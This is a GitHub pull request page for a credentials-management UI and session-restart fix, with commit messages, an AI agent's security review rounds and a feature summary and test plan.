| — | useSyncExternalStore infinite loop |
✅ Fixed (EMPTY_ITEMS) |
Score: 7/8 (stale dialog copy is Minor — one-liner fix, not blocking)
— Amber Background Agent
Reverts all sidecar hot-reload code: - Sidecar entrypoint: back to original runSubprocess (no process manager, no restart, no epoch files) - Control-plane: remove appendRunnerVolumeMount and shared volume mounting of cred-tmp-* on runner containers - Runner bridge: remove _reconnect_failed_mcp_servers, epoch detection, and MCP health check logic - Runner session: remove reconnect_mcp_server and get_mcp_status methods on SessionWorker The hot-reload hit a fundamental limitation: the Claude SDK's SSE reconnection does not re-send the MCP initialize handshake, leaving sessions in a zombie state (connected but broken). The SDK also reports stale cached status (connected + 43 tools) making the broken state undetectable. Restarting the session is the correct and reliable path: - Operator sets IS_RESUME=true, runner skips initial prompt - CLI loads conversation history via --resume - Fresh MCP connections with latest credentials UI copy updated: - Rotate: "Restart running sessions to pick up the change" - Delete: "Running sessions keep access until restarted" Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
jsell-rh
force-pushed
the
jsell/feat/ambient-ui-credentials
branch
from
c83edab to
7ea109c
Compare
markturansky
left a comment
markturansky
left a comment
There was a problem hiding this comment.
Amber Security Review — Round 7 (HEAD 9133db9) ✅ APPROVED
One new commit: gRPC session replay fix. Clean and correct.
9133db9 — gRPC message replay prevention
Problem: _listen_loop() always started the live watch from after_seq=0, replaying all historical messages (including the original user prompt) on every session restart — causing the agent to auto-continue without a new user message.
Fix: _catch_up_seq() scans existing messages on startup to find the current max seq, then the live watch starts from there. Gated on is_resume=True so fresh sessions pay no startup cost.
Correctness:
run_in_executor(None, _scan)— blocking gRPC scan runs in the thread pool; event loop stays unblocked ✅timeout=30.0on the catch-up watch — bounds startup delay; prevents indefinite hang if the server streams open-endedly ✅- No race between scan end and live watch start — watch opens at
after_seq=max_seq, so any message arriving after the scan hasseq > max_seqand will be delivered ✅ - Exception fallback uses the partial
max_seqrather than 0 — limits replay on scan failure rather than replaying everything ✅ IS_RESUMEparsed asos.getenv("IS_RESUME", "").strip().lower() == "true"— safe and standard ✅
No new security surface area.
Outstanding Minor (from Round 6, still unresolved)
The rotate token confirmation dialog still says:
"Running sessions pick it up within 5 minutes."
The paragraph above it correctly says:
"Restart running sessions to pick up the change."
The dialog copy is stale from when hot-reload existed. One-liner fix — not blocking.
All prior findings — status unchanged
| ID | Finding | Status |
|---|---|---|
| B1 | XSS via javascript: href |
✅ Fixed |
| B2 | Sidecar hot-reload race | ✅ Resolved by revert |
| C1/C2 | Raw error messages in UI | ✅ Fixed |
| C3 | sanitizeSearch dead code |
ℹ️ Mitigated |
| C4 | useRecentVisits dedup key |
✅ Fixed |
| — | useSyncExternalStore infinite loop |
✅ Fixed |
Score: 7/8 (stale dialog copy, Minor)
— Amber Background Agent
jsell-rh
force-pushed
the
jsell/feat/ambient-ui-credentials
branch
2 times, most recently
from
80ef18f to
35ddf42
Compare
…tart Control-plane: - Set IS_RESUME=true when session.StartTime is non-nil (parity with legacy operator) - Query max message seq via SessionMessages().List(size=1, orderBy="seq desc") and pass as RESUME_AFTER_SEQ env var Runner: - gRPC listener reads RESUME_AFTER_SEQ env var on startup - Watches from that seq so historical messages are never replayed - Zero scanning delay — the control-plane provides the seq directly - Fresh sessions (no env var) start from seq 0 as before Root cause: the control-plane never set IS_RESUME, so the runner re-executed the initial prompt on restart. The gRPC listener also started from seq=0, replaying all historical user messages and triggering duplicate bridge.run() calls. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
jsell-rh
force-pushed
the
jsell/feat/ambient-ui-credentials
branch
from
35ddf42 to
24bec31
Compare
- ambient-model.spec.md: document GET /session_messages endpoint - control-plane.spec.md: document IS_RESUME, RESUME_AFTER_SEQ env vars and session restart flow - runner.spec.md: document seq-based skip in gRPC listener Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2 participants
Summary
Credentials management UI, cross-cutting UX improvements, and session restart fix.
Credentials View (
/credentials)?tab=,?credential=,?manage=URL params. Browser back closes sheets. "View bindings" from manage sheet navigates to matrix filtered to that credential.buildBindingIndex().Navigation & Layout
text-2xl tracking-tight, content areamax-w-7xlCommand Palette (
⌘K)Design Tokens
--event-*,--matrix-bound,--status-*)Security
https?://) before rendering as<a href>error.messagein UI — generic messages onlySession Restart Fix
IS_RESUME=trueenv var whensession.StartTimeis non-nil (parity with legacy operator)Tests
useAllRoleBindingspaginates through all results (no silent 1000 cap)Test plan
⌘K: shows recents on open, searches on typenpx vitest run— 369 tests passnpx tsc --noEmit— zero errors🤖 Generated with Claude Code